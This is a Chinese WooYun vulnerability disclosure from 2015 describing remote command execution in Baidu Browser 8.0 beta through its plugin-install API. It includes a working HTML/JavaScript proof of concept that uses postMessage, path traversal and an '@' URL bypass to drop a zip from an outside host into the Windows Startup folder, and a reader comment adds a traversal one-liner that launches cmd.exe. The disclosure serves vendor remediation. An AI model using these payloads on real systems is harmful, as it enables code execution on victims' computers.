当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144905

漏洞标题:百度浏览器命令执行(API处理不当)

相关厂商:百度

漏洞作者: 隐形人真忙

提交时间:2015-10-05 16:55

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-05: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-02: 细节向核心白帽子及相关领域专家公开
2015-12-12: 细节向普通白帽子公开
2015-12-22: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

百度浏览器又出新的了,8.0抢鲜版。通过学习二哥的案例,发现命令执行一枚。

详细说明:

---------------------
0x00
---------------------
8.0抢先版百度浏览器:

1.png


chajian.baidu.com是个下载浏览器插件的地方,通过对api进行研究,发现了一些问题。
最新版用了requireJS,代码读起来挺费劲的,下载插件调用如下:

n = require("br-api/br-app-api")
n.install("ojfdllmbecfclldcjkedlebgnilaobnh", app-url,1,1,ext-url)


根据二哥的《百度浏览器命令执行7》,当弹出插件安装窗口时,会在本地将zip包中的文件解压:

2.png


利用自定义的zip包,通过../../跳转目录,下载到启动目录。新版中对../../跳转做了限制,还对zip的url做了限制,不过可以用@符号进行绕过。
../../怎么绕过呢?
---------------------------
0x01
---------------------------
研究安装插件API,发现,在本地创建的文件夹名称和插件ID有关:

n = require("br-api/br-app-api")
n.install("ojfdllmbecfclldcjkedlebgnilaobnh", "http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx",1,1,"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip")


3.png


我们可以通过修改插件名称的形式进行目录跳转,执行:

n = require("br-api/br-app-api")
n.install("../fuck", "http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx",1,1,"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip")


4.png


通过跳转下载到C盘根目录:

5.png


我们只需要本地搭建个网站,放入恶意zip包,结合文件夹名../../../跳转即可下载到启动目录实现命令执行。
---------------------------
0x02
---------------------------
http://chajian.baidu.com/app-res.html页面依然没有判断message的origin,所以利用postMessage还是可以执行特权函数,利用@符号绕过URL判断进行跳转,构造POC如下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>
百度浏览器命令执行测试
</title>
</head>
<body>
xss
<script>
var f=document.createElement("iframe");f.src="http://chajian.baidu.com/app-res.html";
f.onload=function(){
f.contentWindow.postMessage('{"type":"install","data":{"id":"../../../../../../../../../../../Users/Administrator.WIN-20130812CHJ/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/","url":"http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://dlsw.br.baidu.com@1.exploitcat.sinaapp.com/test.zip"}}','*');
};
document.body.appendChild(f);
</script>
</body>
</html>


访问连接之后,可以calc.exe被解压到启动目录下,录制一个gif:
http://7xjb22.com1.z0.glb.clouddn.com/jdfw.gif

漏洞证明:

动态图:
http://7xjb22.com1.z0.glb.clouddn.com/jdfw.gif

修复方案:

1.插件安装api继续做限制

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-08 10:55

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-05 17:47 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1628 漏洞数:188 | 新年快乐!)

    前排支持~

  2. 2015-10-05 18:53 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊,我们还有音乐)

    mark

  3. 2015-10-05 18:59 | 撸大叔 ( 实习白帽子 | Rank:62 漏洞数:11 | 钓鱼培养耐心 养鱼需要精心!)

    =. =

  4. 2015-10-06 03:46 | 小手冰凉 ( 普通白帽子 | Rank:188 漏洞数:20 | 幸福你我他)

    @隐形人真忙 二哥的案例在哪里

  5. 2015-10-11 11:27 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    二哥的命令执行已经出神入化了,是吧@gainover

  6. 2015-10-12 22:32 | random_ ( 普通白帽子 | Rank:315 漏洞数:52 | 推动开源推动网络安全)

    chrome.bidu.asyncCall("AppService.BDBiduCall.RunNativeApplcaiton",JSON.stringify({NativeAppName:"../../../../../../../../../../../../../../../../../../../../../../../../windows/system32/cmd.exe",d:"sd"}), console.log)

  7. 2015-10-13 11:52 | 染血の雪 ( 普通白帽子 | Rank:205 漏洞数:31 | 你挖 或者不挖漏洞就在哪儿不多 不少)

    关注一下,为什么我有预感和我手上那个一样

  8. 2015-10-13 20:06 | 隐形人真忙 ( 普通白帽子 | Rank:125 漏洞数:17 | Hello hacker!)

    @random_ 不是这里:-)

  9. 2015-10-13 20:30 | 坏男孩-A_A ( 路人 | Rank:23 漏洞数:11 | 膜拜学习中)

    @隐形人真忙 config??